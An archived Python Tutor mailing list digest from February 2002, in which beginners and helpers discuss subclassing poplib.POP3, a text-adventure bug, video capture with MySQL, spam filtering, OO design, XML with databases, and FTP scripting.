AttributeError: POP3Search instance has no attribute 'welcome' What can I do to fix (and understand this)? =20 Thanks Joel ------=_NextPart_000_0013_01C1BD7E.F7F76880 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Ok, I've now played with rfc822 and the = mime=20 related modules to get an idea of how things work and what direction I = want to=20 go.  To get a feel for inheritance, I decided to make up a class = called=20 POP3Search which would inherit from poplib.POP3 (which connects to a = pop3 server=20 and queries for messages) with the extra features of message caching and = search.
 
This is what I have:
 
import poplib
 
class=20 POP3Search(poplib.POP3):
    """Create a connection to = a POP3=20 mailserver and search for messages"""
   =20
    def __init__(self, host =3D "", port =3D = 110):  =20
        poplib.POP3(host,=20 port)      
   
if = __name__=20 =3D=3D "__main__":
    s =3D=20 POP3Search("pop3.mailserver")
    print=20 s.getwelcome()
 
Now my understanding is -- and I guess = I'm wrong --=20 is that POP3Search will inherit the attributes of POP3 so that = getwelcome() when=20 run will: Look in the child -- since = none found,=20 look in the parent -- executes that and returns the result.  = getwelcome=20 returns self.welcome -- self in this case being the parent.  Since = welcome=20 isn't found in the current class (POP3Search), find it in the parent=20 (POP3).  Any case I'm getting an error that its not being=20 found:
 
 File "C:\PYTHON22\lib\poplib.py", = line 172,=20 in getwelcome
    return = self.welcome
AttributeError:=20 POP3Search instance has no attribute 'welcome'
 
What can I do to fix (and understand = this)? =20
Thanks
 
Joel
 
------=_NextPart_000_0013_01C1BD7E.F7F76880-- From dyoo@hkn.eecs.berkeley.edu Mon Feb 25 03:07:02 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Sun, 24 Feb 2002 19:07:02 -0800 (PST) Subject: [Tutor] (no subject) In-Reply-To: <200202242147.AA1132331250@centralcatholic.org> Message-ID: On Sun, 24 Feb 2002, Robert Garber wrote: > Here is my question. is it possible to use Python to write a GUI > program that will use a video capture card to capture a small video > clip usally 8-15 seconds long, then give it a name, and create a > relational database that can be sorted any number of differtent ways? Hi Robert, Yes, it's definitely possible! If you're using Windows, I believe you can use the VideoCaputure module: http://stud4.tuwien.ac.at/~e9326522/VideoCapture/ I'm not sure if this works, as I don't have Windows, but there are probably other sources of video capture software out there. Does anyone have familiarity with video capture on other operating systems like Linux? Python also has pretty good relational database support. After you get more familiar with Python, you can take a look at: http://python.org/topics/database/ This url is a topic guide on database programming and Python. Do you have a particular database in mind? > I am very NEW to programming as a whole but extremely motivated to > learn. This is a small part of a project I eventualy hope to complete. This sounds like a very cool project! I'm sure it's possible; I saw something called the San Diego Zoo Panda Cam: http://www3.telus.net/futility/futility/software.html#pypanda so something like this is definitely possible. Please feel free to ask questions; I'd love to see this work! *grin* Good luck! From sheila@thinkspot.net Mon Feb 25 03:12:33 2002 From: sheila@thinkspot.net (Sheila King) Date: Sun, 24 Feb 2002 19:12:33 -0800 Subject: [Tutor] Inheritance Question In-Reply-To: <001601c1bda8$e3a6cf40$68804cd8@x9k7y2> References: <001601c1bda8$e3a6cf40$68804cd8@x9k7y2> Message-ID: <2FB6C1088E@kserver.org> On Sun, 24 Feb 2002 22:02:35 -0500, "Joel Ricker" wrote about [Tutor] Inheritance Question: > Now my understanding is -- and I guess I'm wrong -- is that > POP3Search will inherit the attributes of POP3 so that getwelcome() > when run will: Look in the child -- since none found, look in the > parent -- executes that and returns the result. getwelcome > returns self.welcome -- self in this case being the parent. > Since welcome isn't found in the current class (POP3Search), > find it in the parent (POP3). Any case I'm getting an error that its not being found: No, your understanding is correct. You just aren't subclassing the POP3 init correctly. Try this, instead: class POP3Search(poplib.POP3): def __init__(self, host = "", port = 110): poplib.POP3.__init__(self, host, port) HTH, -- Sheila King http://www.thinkspot.net/sheila/ "When introducing your puppy to an adult cat, restrain the puppy, not the cat." -- Gwen Bailey, _The Perfect Puppy: How to Raise a Well-behaved Dog_ From dyoo@hkn.eecs.berkeley.edu Mon Feb 25 03:13:00 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Sun, 24 Feb 2002 19:13:00 -0800 (PST) Subject: [Tutor] Inheritance Question [calling a superclass's constructor] In-Reply-To: <001601c1bda8$e3a6cf40$68804cd8@x9k7y2> Message-ID: On Sun, 24 Feb 2002, Joel Ricker wrote: > Ok, I've now played with rfc822 and the mime related modules to get an > idea of how things work and what direction I want to go. To get a > feel for inheritance, I decided to make up a class called POP3Search > which would inherit from poplib.POP3 (which connects to a pop3 server > and queries for messages) with the extra features of message caching > and search. > > This is what I have: > > import poplib > > class POP3Search(poplib.POP3): > """Create a connection to a POP3 mailserver and search for messages""" > > def __init__(self, host = "", port = 110): > poplib.POP3(host, port) Ah! I see that you're trying to call the constructor of the superclass. Try: ### def __init__(self, host = "", port = 110): poplib.POP3.__init__(self, host, port) ### instead. Let's take a look again at what was happening before: ### def __init__(self, host = "", port = 110): poplib.POP3(host, port) # <--- ### In this code, our __init__ just instantiated a POP3 instance, and then just tossed it aside. It has a similar effect to: ### def __init__(self, host = "", port = 110): throwaway = poplib.POP3(host, port) del throwaway ### so it wasn't really getting our subclass instance primed up for POP work. Good luck! From karthikg@aztec.soft.net Mon Feb 25 03:33:10 2002 From: karthikg@aztec.soft.net (Karthik Gurumurthy) Date: Mon, 25 Feb 2002 09:03:10 +0530 Subject: [Tutor] Inheritance Question In-Reply-To: <001601c1bda8$e3a6cf40$68804cd8@x9k7y2> Message-ID: This is a multi-part message in MIME format. ------=_NextPart_000_0036_01C1BDDB.3FBFB3A0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit [karthik Guru] >> you need to call the base class constructor to initialise the attribute "welcome". I guess welcome is getting defined in poplib.POP3's constructor. methods are inherited w/o any explicit call to the base constructor but attributes are not unless explicitly done. def __init__(self, host = "", port = 110): poplib.POP3.__init__(host, port) getwelcome returns self.welcome -- self in this case being the parent. Since welcome isn't found in the current class (POP3Search), find it in the parent (POP3). [karthik Guru] >> No i think self will always be the of type derived class if the method gets invoked through a derived class reference. you can try printing the type of self int he base class. karthik. ------=_NextPart_000_0036_01C1BDDB.3FBFB3A0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
[karthik=20 Guru] >> you need to call the base class=20 constructor to initialise the attribute "welcome". I guess welcome is = getting=20 defined in poplib.POP3's constructor.
methods are=20 inherited w/o any explicit call to the base constructor but attributes = are not=20 unless explicitly done.
 
    def __init__(self, = host =3D "",=20 port =3D 110):   =
       =20 poplib.POP3.__init__(host,=20 port)      
 getwelcome returns self.welcome = -- self in=20 this case being the parent.  Since welcome isn't found in the = current=20 class (POP3Search), find it in the parent = (POP3).  
[karthik=20 = Guru] >> 
No i think self will always be the of type = derived=20 class if the method gets invoked through a derived class reference. = you can=20 try printing the type of self int he base = class.
 
karthik.
------=_NextPart_000_0036_01C1BDDB.3FBFB3A0-- From garber@centralcatholic.org Mon Feb 25 03:17:04 2002 From: garber@centralcatholic.org (Robert Garber) Date: Sun, 24 Feb 2002 22:17:04 -0500 Subject: [Tutor] (no subject) Message-ID: <200202242217.AA615514360@centralcatholic.org> yes i use windows and most of the people i am targeting also use windows. As for the datbase side I have downloaded MySQL, but have as of yet to start learning it . I am still knee deep in python tutorials and getting deeper. :0) I would like to thank you for your time in repling to my question. Thanks Agin, Robert ---------- Original Message ---------------------------------- From: Danny Yoo Date: Sun, 24 Feb 2002 19:07:02 -0800 (PST) >On Sun, 24 Feb 2002, Robert Garber wrote: > >> Here is my question. is it possible to use Python to write a GUI >> program that will use a video capture card to capture a small video >> clip usally 8-15 seconds long, then give it a name, and create a >> relational database that can be sorted any number of differtent ways? > >Hi Robert, > >Yes, it's definitely possible! If you're using Windows, I believe you can >use the VideoCaputure module: > > http://stud4.tuwien.ac.at/~e9326522/VideoCapture/ > >I'm not sure if this works, as I don't have Windows, but there are >probably other sources of video capture software out there. Does anyone >have familiarity with video capture on other operating systems like Linux? > > > >Python also has pretty good relational database support. After you get >more familiar with Python, you can take a look at: > > http://python.org/topics/database/ > >This url is a topic guide on database programming and Python. Do you have >a particular database in mind? > > > >> I am very NEW to programming as a whole but extremely motivated to >> learn. This is a small part of a project I eventualy hope to complete. > >This sounds like a very cool project! I'm sure it's possible; I saw >something called the San Diego Zoo Panda Cam: > > http://www3.telus.net/futility/futility/software.html#pypanda > >so something like this is definitely possible. Please feel free to ask >questions; I'd love to see this work! *grin* > > > >Good luck! > > From toodles@yifan.net Mon Feb 25 03:22:40 2002 From: toodles@yifan.net (Andy W) Date: Mon, 25 Feb 2002 11:22:40 +0800 Subject: [Tutor] Inheritance Question References: <001601c1bda8$e3a6cf40$68804cd8@x9k7y2> Message-ID: <001301c1bdab$afe237a0$3100a8c0@sun> Sorry the original isn't prefixed with lots of ">"s, I received it in HTML and converted to text. import poplib class POP3Search(poplib.POP3): """Create a connection to a POP3 mailserver and search for messages""" def __init__(self, host = "", port = 110): poplib.POP3(host, port) if __name__ == "__main__": s = POP3Search("pop3.mailserver") print s.getwelcome() Now my understanding is -- and I guess I'm wrong -- is that POP3Search will inherit the attributes of POP3 so that getwelcome() when run will: Look in the child -- since none found, look in the parent -- executes that and returns the result. getwelcome returns self.welcome -- self in this case being the parent. Since welcome isn't found in the current class (POP3Search), find it in the parent (POP3). Any case I'm getting an error that its not being found: File "C:\PYTHON22\lib\poplib.py", line 172, in getwelcome return self.welcome AttributeError: POP3Search instance has no attribute 'welcome' At the moment, your subclass does not initialise the parent (poplib.POP3), but rather it creates a new instance which is lost straight away. I stuck my nose into poplib.py, and found out that "elf.welcome" is initialised in __init__. The following should work, if I'm not mistaken: class POP3Search(poplib.POP3): """Create a connection to a POP3 mailserver and search for messages""" def __init__(self, host = "", port = 110): poplib.POP3.__init__(self,host, port) HTH, Andy ----- Original Message ----- From: Joel Ricker To: tutor@python.org Sent: Monday, February 25, 2002 11:02 AM Subject: [Tutor] Inheritance Question Ok, I've now played with rfc822 and the mime related modules to get an idea of how things work and what direction I want to go. To get a feel for inheritance, I decided to make up a class called POP3Search which would inherit from poplib.POP3 (which connects to a pop3 server and queries for messages) with the extra features of message caching and search. This is what I have: import poplib class POP3Search(poplib.POP3): """Create a connection to a POP3 mailserver and search for messages""" def __init__(self, host = "", port = 110): poplib.POP3(host, port) if __name__ == "__main__": s = POP3Search("pop3.mailserver") print s.getwelcome() Now my understanding is -- and I guess I'm wrong -- is that POP3Search will inherit the attributes of POP3 so that getwelcome() when run will: Look in the child -- since none found, look in the parent -- executes that and returns the result. getwelcome returns self.welcome -- self in this case being the parent. Since welcome isn't found in the current class (POP3Search), find it in the parent (POP3). Any case I'm getting an error that its not being found: File "C:\PYTHON22\lib\poplib.py", line 172, in getwelcome return self.welcome AttributeError: POP3Search instance has no attribute 'welcome' What can I do to fix (and understand this)? Thanks Joel From virketis@fas.harvard.edu Mon Feb 25 03:33:58 2002 From: virketis@fas.harvard.edu (Pijus Virketis) Date: Sun, 24 Feb 2002 22:33:58 -0500 Subject: [Tutor] (no subject) References: <200202242217.AA615514360@centralcatholic.org> Message-ID: <008e01c1bdad$42ceb740$18adf78c@virketis2> Robert, > As for the datbase side I have downloaded MySQL, but have as of yet to start learning it . I am still knee deep in python tutorials > and getting deeper. :0) I would like to thank you for your time in repling to my question. You'll probably be wanting to check out the Python interface to MySQL sometime soon: http://sourceforge.net/projects/mysql-python/. :) Cheers, Pijus From garber@centralcatholic.org Mon Feb 25 03:41:17 2002 From: garber@centralcatholic.org (Robert Garber) Date: Sun, 24 Feb 2002 22:41:17 -0500 Subject: [Tutor] Capturing video and creating a GUI DB w/Python Message-ID: <200202242241.AA1139933426@centralcatholic.org> Thank You, yes I have been here and downloaded the MySQLdb Python DB API-2.0 interface. i hope to soon be able to start learning how too appply this to the project I am working on.---------- Original Message ---------------------------------- From: "Pijus Virketis" Date: Sun, 24 Feb 2002 22:33:58 -0500 >Robert, > >> As for the datbase side I have downloaded MySQL, but have as of yet to >start learning it . I am still knee deep in python tutorials >> and getting deeper. :0) I would like to thank you for your time in >repling to my question. > >You'll probably be wanting to check out the Python interface to MySQL >sometime soon: http://sourceforge.net/projects/mysql-python/. :) > >Cheers, > >Pijus > > > From joejava@dragoncat.net Mon Feb 25 03:55:47 2002 From: joejava@dragoncat.net (Joel Ricker) Date: Sun, 24 Feb 2002 22:55:47 -0500 Subject: [Tutor] Inheritance Question [calling a superclass's constructor] References: Message-ID: <002f01c1bdb0$50856de0$68804cd8@x9k7y2> From: Danny Yoo > > class POP3Search(poplib.POP3): > > """Create a connection to a POP3 mailserver and search for messages""" > > > > def __init__(self, host = "", port = 110): > > poplib.POP3(host, port) > > Ah! I see that you're trying to call the constructor of the superclass. > Try: > > ### > def __init__(self, host = "", port = 110): > poplib.POP3.__init__(self, host, port) > ### Aha. See that now. Wow, everyone jumped on that one in a hurry :) Thanks again, Joel From cheshire_cat_sf@yahoo.com Mon Feb 25 04:42:34 2002 From: cheshire_cat_sf@yahoo.com (Britt Green) Date: Sun, 24 Feb 2002 20:42:34 -0800 (PST) Subject: [Tutor] (no subject) In-Reply-To: Message-ID: <20020225044234.5766.qmail@web14108.mail.yahoo.com> Can anyone tell me why I get this error on the following code, and what a good solution for it would be? >>> --> e You are in the foyer --> w Traceback (most recent call last): File "C:/WINNT/Profiles/bgreen/Desktop/kode/fourth.py", line 37, in ? if playerLoc.exits.has_key(command[0]): AttributeError: 'str' object has no attribute 'exits' >>> import string class Room: def __init__(self, name, exits): self.name = name self.exits = exits self.items = [] def __str__(self): return self.name porch = Room('porch', {'e':'foyer'}) foyer = Room('foyer', {'w':'porch', 'e':'dining room'}) dining = Room('dining room', {'w':'foyer'}) commands = ['n','s','e','w'] playerLoc = porch while 1: command = string.split(raw_input('--> ')) if command[0] in commands: if playerLoc.exits.has_key(command[0]): playerLoc = playerLoc.exits.get(command[0]) print "You are in the", playerLoc ===== "The ocean, she is strange and wondrous, filled with animals that disturb even a Frenchman." __________________________________________________ Do You Yahoo!? Yahoo! Sports - Coverage of the 2002 Olympic Games http://sports.yahoo.com From urnerk@qwest.net Mon Feb 25 05:09:23 2002 From: urnerk@qwest.net (Kirby Urner) Date: Sun, 24 Feb 2002 21:09:23 -0800 Subject: [Tutor] (no subject) In-Reply-To: <20020225044234.5766.qmail@web14108.mail.yahoo.com> References: Message-ID: <4.2.0.58.20020224210418.00d25830@pop3.norton.antivirus> > >while 1: > command = string.split(raw_input('--> ')) > if command[0] in commands: > if playerLoc.exits.has_key(command[0]): > playerLoc = playerLoc.exits.get(command[0]) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ This line is resetting playerLoc to the name of the room, not to an actual room object. So next time through the loop, playerLoc has no attribute 'exits'. You could store all your rooms in a dictionary, by name, thereby making it easier to lookup the object you need when the user hits a control key, e.g.: rooms = {"porch" : Room('porch', {'e':'foyer'}), "foyer" : Room('foyer', {'w':'porch', 'e':'dining room'}), "dining room" : Room('dining room', {'w':'foyer'}) } commands = ['n','s','e','w'] playerLoc = rooms["porch"] print "You are in the", playerLoc while 1: command = string.split(raw_input('--> ')) if command[0] in commands: if playerLoc.exits.has_key(command[0]): playerLoc = rooms[playerLoc.exits.get(command[0])] print "You are in the", playerLoc ========== Testing: >>> reload(test2) You are in the porch --> w --> e You are in the foyer --> e You are in the dining room --> e --> w You are in the foyer and so on. Kirby From paulsid@shaw.ca Mon Feb 25 05:11:25 2002 From: paulsid@shaw.ca (Paul Sidorsky) Date: Sun, 24 Feb 2002 22:11:25 -0700 Subject: [Tutor] AttributeError References: <20020225044234.5766.qmail@web14108.mail.yahoo.com> Message-ID: <3C79C77D.AA700CC@shaw.ca> Britt Green wrote: > Can anyone tell me why I get this error on the following code, and what > a good solution for it would be? > playerLoc = playerLoc.exits.get(command[0]) This is the offending line. playerLoc is supposed to be a Room object, but here you're assigning it a string. The "quick fix" solution is to just put eval() around that as follows: playerLoc = eval(playerLoc.exits.get(command[0])) This works (I tested it) except that you can't use names with spaces or operators in there. (Your "dining room" example will fail if not renamed.) However, what the above actually does is it "runs" the name of the room which will return the actual variable name, and it's a nasty idea to muck about in your program's namespace when you don't have to. A better idea would be to put all your Room objects in another dictionary, with the key being the room name. Kind of like this: rooms = {} rooms["foyer"] = Room(...) Then playerLoc can store a string and use it to key that dictionary to find the right room. Since you already seem to have a handle on dictionaries it shouldn't be too hard to make the modifications. BTW, on a semi-related note, I just can't help giving a plug to the Inform language which is designed specifically for text adventures: http://www.gnelson.demon.co.uk/inform.html Inform actually has a very Pythonic feel to its syntax (IMO), although it is structured quite differently and is not a general purpose language. Obviously this won't help you if you're writing a text adventure for the purpose of learning Python, but I just wanted to mention it in case anybody's interested because I think it's a neat language. -- ====================================================================== Paul Sidorsky Calgary, Canada paulsid@shaw.ca http://members.shaw.ca/paulsid/ From dyoo@hkn.eecs.berkeley.edu Mon Feb 25 05:13:20 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Sun, 24 Feb 2002 21:13:20 -0800 (PST) Subject: [Tutor] (no subject) In-Reply-To: <20020225044234.5766.qmail@web14108.mail.yahoo.com> Message-ID: On Sun, 24 Feb 2002, Britt Green wrote: > Can anyone tell me why I get this error on the following code, and what > a good solution for it would be? > > >>> > --> e > You are in the foyer > --> w > Traceback (most recent call last): > File "C:/WINNT/Profiles/bgreen/Desktop/kode/fourth.py", line 37, in ? > if playerLoc.exits.has_key(command[0]): > AttributeError: 'str' object has no attribute 'exits' > I'm guessing that 'playerLoc' is a Room: > class Room: > def __init__(self, name, exits): > self.name = name > self.exits = exits > self.items = [] > > def __str__(self): > return self.name > > porch = Room('porch', {'e':'foyer'}) > foyer = Room('foyer', {'w':'porch', 'e':'dining room'}) > dining = Room('dining room', {'w':'foyer'}) When we try to look at the exits of a romm, like the porch, we'll find that we get: ### >>> porch.exits {'e': 'foyer'} >>> foyer <__main__.Room instance at 0x814d72c> ### So there's a difference between 'foyer' and the foyer room --- we actually need to the the room instance whose name is 'foyer', and we need to make that distinction. Here's one way to approach the problem: We can make a dictionary of all the rooms, so that once we have the name of an exit, we can get that exit room. ### all_rooms = {} for name, room in [('porch', porch), ('foyer', foyer), ('dining', dining)]: all_rooms[name] = room ### Hope this helps! From slime@vsnl.net Sun Feb 24 16:17:16 2002 From: slime@vsnl.net (Prahlad Vaidyanathan) Date: Sun, 24 Feb 2002 21:47:16 +0530 Subject: [Tutor] Re: Working with Email question In-Reply-To: <007201c1bcab$574bcee0$0ba3d6d1@x9k7y2> References: <007201c1bcab$574bcee0$0ba3d6d1@x9k7y2> Message-ID: <20020224161716.GA276@marvin.localdomain> Hi, This is my first post in a long time, so Hi everyone. On Sat, 23 Feb 2002 Joel Ricker spewed into the ether: > As a warmup excercise to get back into the swing of things, I want to write a spam filter. I'm pretty liberal with my e-mail address, which is great because people can find me but the drawback is of course that so can all the spammers in the world :( Well, there is procmail ... but not many people like it. Currently, my setup goes as follows : getmail -> procmail -> folders procmail does all the spam filtering. but, getmail doesn't retrieve messages above a defined limit, so i just cooked up a patch to retrieve the headers (using TOP) of such messages. these headers are dumped into a separate folder. i quickly review them, and run a small script to run a "shell" on my POP server. I then delete the offending messages. This seems pretty effective for me. pv. -- Prahlad Vaidyanathan "Oh, I've seen copies [of Linux Journal] around the terminal room at The Labs." (By Dennis Ritchie) From slime@vsnl.net Sun Feb 24 17:29:55 2002 From: slime@vsnl.net (Prahlad Vaidyanathan) Date: Sun, 24 Feb 2002 22:59:55 +0530 Subject: [Tutor] OO approach Message-ID: <20020224172955.GA653@marvin.localdomain> Hi, I recently wrote a script to extract the urls in the news emails sent by 'The Register', and mail them to me. Initially, I just had functions to do the following : - read the file, and extract the urls matching a regex - get the urls - mail the urls to me with the description in the subject line But, I soon realised I could do this to extract the URLs from the 'Linux Journal' weekly announcements as well. So I made a class called 'mailURL', and added sub-classes for 'Register' and 'LJNews'. I have now extended this script to include the 'Linux Weekly News', 'Kernel Traffic', and the 'LDP' news urls. What I noticed was, everytime I added a sub-class, I would notice something missing or something specific to 'Register' lying the the base 'mailURL' class. So I ended up going back and re-writing the mailURL class over and over again, everytime I added a sub-class. This defeats the purpose of using inheritance (I could simply write 10 different classes completely unrelated). So, what I want to ask you all is : - How do I make a minimalistic base class (not just in this situation, but any task), and yet make it useful enough for the sub-classes. I am trying to learn programming, and have started learning python as it is very readable compared to the other languages, and also high-level. I am enjoying it, but am having trouble grasping these fundamental concepts of the object-oriented approach. I hope you can help out (and I hope I've been clear enough). pv. -- Prahlad Vaidyanathan No amount of genius can overcome a preoccupation with detail. From karthikg@aztec.soft.net Mon Feb 25 09:09:25 2002 From: karthikg@aztec.soft.net (Karthik Gurumurthy) Date: Mon, 25 Feb 2002 14:39:25 +0530 Subject: [Tutor] OO approach In-Reply-To: <20020224172955.GA653@marvin.localdomain> Message-ID: > So I ended up going back and re-writing the mailURL class over and over > again, everytime I added a sub-class. This defeats the purpose of using > inheritance (I could simply write 10 different classes completely > unrelated). So, what I want to ask you all is : > - How do I make a minimalistic base class (not just in this situation, > but any task), and yet make it useful enough for the sub-classes. I can relate to your problem very well! Wasn't there anything at all that was common to all the approaches ( i mean subclasses)? Did you try refactoring the common parts? One simple way could be to move all the common things up the base class. Infact i guess, refactoring says that you start off writing such separate classes and then move all the common parts up the tree to the base class. I understand this is more like approaching the problem from the other end though! karthik From erikprice@mac.com Mon Feb 25 13:18:35 2002 From: erikprice@mac.com (Erik Price) Date: Mon, 25 Feb 2002 08:18:35 -0500 Subject: [Tutor] Creating and storing objects from a GUI... In-Reply-To: Message-ID: <2C610912-29F2-11D6-95E1-00039351FE6A@mac.com> On Thursday, February 21, 2002, at 11:00 AM, Israel Evans wrote: > I was thinking SQL would be nice, but due to my ignorance, databases, > still > feel a little like a black box to me. I'll have to do a little more > research into them. Pick up MySQL and set it up on a Linux box if you can, after a few days of playing it will feel like an old friend. The MySQL mailing list is also very helpful. You can take it further and learn all of the advanced SQL queries too if you want. > What's your opinion on the mixing of XML and RDBMS? Would data stored > in a > Database be saved in table/cell format and then extracted to an XML > format > through XSLT in order to be displayed elsewhere, or would the database > store > the data already in XML? I like the promised flexibility of XML but > WOW, > the multitudes of specifications and formats and so on is overwhelming! > Would you in your right mind mingle XML and an RDBMS? Keep in mind that RDBMS and XML are fundamentally dissimilar storage formats. The strengths of one are negated by the other. I'm just learninga bout this myself, so I don't know everything -- but the point of a RDBMS is to have a relational, normalized structure that can be searched based on arbitrary relationships between objects, so that the database is not dependent on trees (tree-style databases are always under development but cannot match the speed of a RDBMS when they to a certain size). XML's strength (in terms of information storage) is in its hierarchical, tree-like storage structure. So they're really not very complementary technologies. This is too bad, since I have easy access to a MySQL server and want to play with Python and XML myself! But it doesn't mean you can't try to find a clever way to work around this. For instance, if your XML documents are not terribly deep, you could just use MySQL's data storage abilities and do exactly what you have suggested. It's only with large applications that you need to consider whether or not a RDBMS can help you. I'm not sure what the intendede application is for your wife's dance studio, but maybe storing flat XML files will be more appropriate. Is speedy searching for data something that you will need to do? You could store the filenames in a database, if you knew that the data was in a particular file, or you could store attributes of files into a database and use a RDBMS to do searches and then the results could point to the file's name or location. In this fashion, you wouldn't really be storing the actual data you want in the database, just meta-data. Please post your discoveries, if you pursue the RDBMS + XML. I found the following links to be somewhat helpful: http://www.xml.com/pub/a/2001/10/24/follow-yr-nose.html http://www.dbxml.com/FAQ.xml http://www.xmldb.org/faqs.html From scarblac@pino.selwerd.nl Mon Feb 25 13:33:32 2002 From: scarblac@pino.selwerd.nl (Remco Gerlich) Date: Mon, 25 Feb 2002 14:33:32 +0100 Subject: [Tutor] Re: Print ogre In-Reply-To: <132109865093-BeMail@gormenghast>; from charlie@begeistert.org on Fri, Feb 22, 2002 at 06:30:42AM -0500 References: <132109865093-BeMail@gormenghast> Message-ID: <20020225143332.A16413@pino.selwerd.nl> On 0, Charlie Clark wrote: > >| Where else does ">>" occur in Python? > > > >Right shift. > .. > >It is a bitwise operator. aa is 10101010 in binary. Right shift it > >one place and you get 01010101 which in hex is 55. Shift it two > >places and you get 00101010 which is 2a in hex. > > In other words there is no overlap between the two uses. ">>" doesn't > have a generic meaning or use making reusable in different contexts. A > good reason for removing it in print >> as a way to remove a possible > source of confusion. Quite the opposite, IMO - the two uses have nothing to do with each other and therefore won't be a source of confusion. -- Remco Gerlich From joejava@dragoncat.net Mon Feb 25 14:15:10 2002 From: joejava@dragoncat.net (Joel Ricker) Date: Mon, 25 Feb 2002 09:15:10 -0500 Subject: [Tutor] Working with Email question [new 'email' module in Python 2.2] References: <6AD3F866286@kserver.org> Message-ID: <002301c1be06$d79482c0$0ca2d6d1@x9k7y2> From: Sheila King > Great. *BUT* in order > to get around this problem with the email module, I'm currently > capturing the stdin as a string, then attempting to instantiate an > instance of an email object, and if that fails, then I resort to parsing > with the rfc822 module. I've been considering re-writing the whole thing > without the email module and just using rfc822 and multifile/mimetools. > This method I'm using now uses too much memory, but if I don't do it > this way, and the instantiation of the email object fails, then I've > already consumed the stdin input and have no way to get that email any > more (it is lost). My problem is I don't have the email module yet. I use Activestate's builds for my Python distribution and currently they have an Alpha edition of 2.2 which I'm using. 2.1 is the last stable release that they've come out with. My version of Python doesn't have the email module so I'm actually resorting to what you were thinking of Shiela, writing my own Email module, inheriting the properties of rfc822 and multifile/mimetools. So far its working pretty good. I'll keep everyone posted. Joel From printers@sendme.cz Mon Feb 25 15:51:45 2002 From: printers@sendme.cz (A) Date: Mon, 25 Feb 2002 16:51:45 +0100 Subject: [Tutor] Is it possible in Python too? Message-ID: <3C7A6BA1.26999.19EEC27@localhost> Hi, Is possible to set up a proxy name (address) in MS Explorer browser from a running Python program? Thank you for your help. Ladislav From printers@sendme.cz Mon Feb 25 08:34:22 2002 From: printers@sendme.cz (A) Date: Mon, 25 Feb 2002 09:34:22 +0100 Subject: [Tutor] Is it possible in Python too? Message-ID: <3C7A051E.2606.E6EC3@localhost> Hi, Is possible to set up a proxy name (address) in MS Explorer browser from a running Python program? Thank you for your help. Ladislav From printers@sendme.cz Sat Feb 23 10:21:02 2002 From: printers@sendme.cz (A) Date: Sat, 23 Feb 2002 11:21:02 +0100 Subject: [Tutor] Is it possible in Python too? Message-ID: <3C777B1E.12123.87FDB7@localhost> Hi, Is possible to set up a proxy name (address) in MS Explorer browser from a running Python program? Thank you for your help. Ladislav From aschmidt@nv.cc.va.us Mon Feb 25 17:05:30 2002 From: aschmidt@nv.cc.va.us (Schmidt, Allen J.) Date: Mon, 25 Feb 2002 12:05:30 -0500 Subject: [Tutor] GENERAL outline of how to do this in Python needed... Message-ID: <5CDFEBB60E7FD311B9E30000F6D6090608CB8FA8@novamail2.nv.cc.va.us> I have a ZIP file made available to me on an FTP server. I need this file FTPd to my server, unzipped (password protected), renamed and then another (working) python script invoked to break it apart and dump it into MySQL. I guess the zip parts could just be added to the working script... Is this something relatively simple to do? The destination platform is Linux. Does that make a difference?? Suggestions appreciated. I am just looking for the basics on the best ways to handle this...not the exact procedure... Thanks Allen From SWidney@ci.las-vegas.nv.us Mon Feb 25 17:33:15 2002 From: SWidney@ci.las-vegas.nv.us (Scott Widney) Date: Mon, 25 Feb 2002 09:33:15 -0800 Subject: [Tutor] unrelated bug issue Message-ID: > From: Tim Peters > > I got a better one: suppose you shoved a banana down your > throat, then a carrot in each nostril. Would it then be > the banana's or the carrots' fault that you couldn't breathe > anymore? That's right: it would be the carrots', because > you didn't have any trouble breathing before they wound > up in your nose. Or maybe it was the banana's fault after > all, since if it weren't there, the carrots' presence > wouldn't matter. It's a puzzler. Just so long as it's > clear that it's never ever your fault . Tim, you're missing the point. What he said is that even after he removed the carrots from his nostrils, he still couldn't breathe. So either the carrots were not completely removed, or it's the banana's fault. He did the right thing in looking for carrot residue before removing the banana. He should be commended for his insight.... From kp87@lycos.com Mon Feb 25 17:40:45 2002 From: kp87@lycos.com (kevin parks) Date: Tue, 26 Feb 2002 02:40:45 +0900 Subject: [Tutor] Iterators and generators for the masses Message-ID: A note in my Python 2.2 folder says that: Iterators (PEP 234) and generators (PEP 255) were added. When I ask questions on the tutor list and also this list i get answers that sometimes start: ...We can do this with Python's new generators... ...Python's new iterators make this easy... Numerous searches turned up many complex PEPs, rewritten PEPs and wild drag-down knock out USENET geek fights over whether or not these were good and should be added to Python. Nothing I could make heads or tails of. Myself I am just getting used to seeing list comprehensions... 1> any chance that there will be tutorials on these important new features added to www.python.org?(a *real* tutorial on list comprehensions would be nice too, but at least there is documentation on them on www.python.org) 2> Anyone up to explaining them here? (hopefully in a way that someone other than Tim Peters and Guido understands! Insult me if you must -- talk to me like I am a 12 year old! Why? Because there are 12 year olds out there learning Python and those of us with the math/science/programming chops of a 12 year old who are also trying to understand this stuff). what do they do? what can they do, what tasks do they make easier, what is the simplest possible example, what is a more complex example...etc. & co. cheers, kevin parks seoul, korea ps. I originally posted this query on c.l.p, but i probably should have posted in here instead, so i am now sending it here too. Sorry to do that, i ordinarily don't cross-post the same query. pps. I saw in one thread there where Tim Peters writes: "I'm afraid PEPs aren't tutorials." Which pretty much sums up this question, eh!? From james2dope@yahoo.com Mon Feb 25 18:39:25 2002 From: james2dope@yahoo.com (james middendorff) Date: Mon, 25 Feb 2002 10:39:25 -0800 (PST) Subject: [Tutor] ftp stuff Message-ID: <20020225183925.80393.qmail@web13901.mail.yahoo.com> --0-742176530-1014662365=:80242 Content-Type: text/plain; charset=us-ascii Hello, I am trying to build a program that will connect to a ftp server i.e. ftp://ftp.slackware.com and then change to a certain directory i.e. /pub/slackware/slackware-current, which I have gotten all of that to work, but when I get to that directory I want to do a LIST command, which I cannot get to work, is there something that I am overlooking, also I want this to go into all directories of slackware-current and download certain files, how can I make itgo into these directories download something, and then go to the next one? I hope I have explained myself well enough thanks for any help james "I would kill everyone in this room for a drop of sweet beer." ----Homer Simpson---- --------------------------------- Do 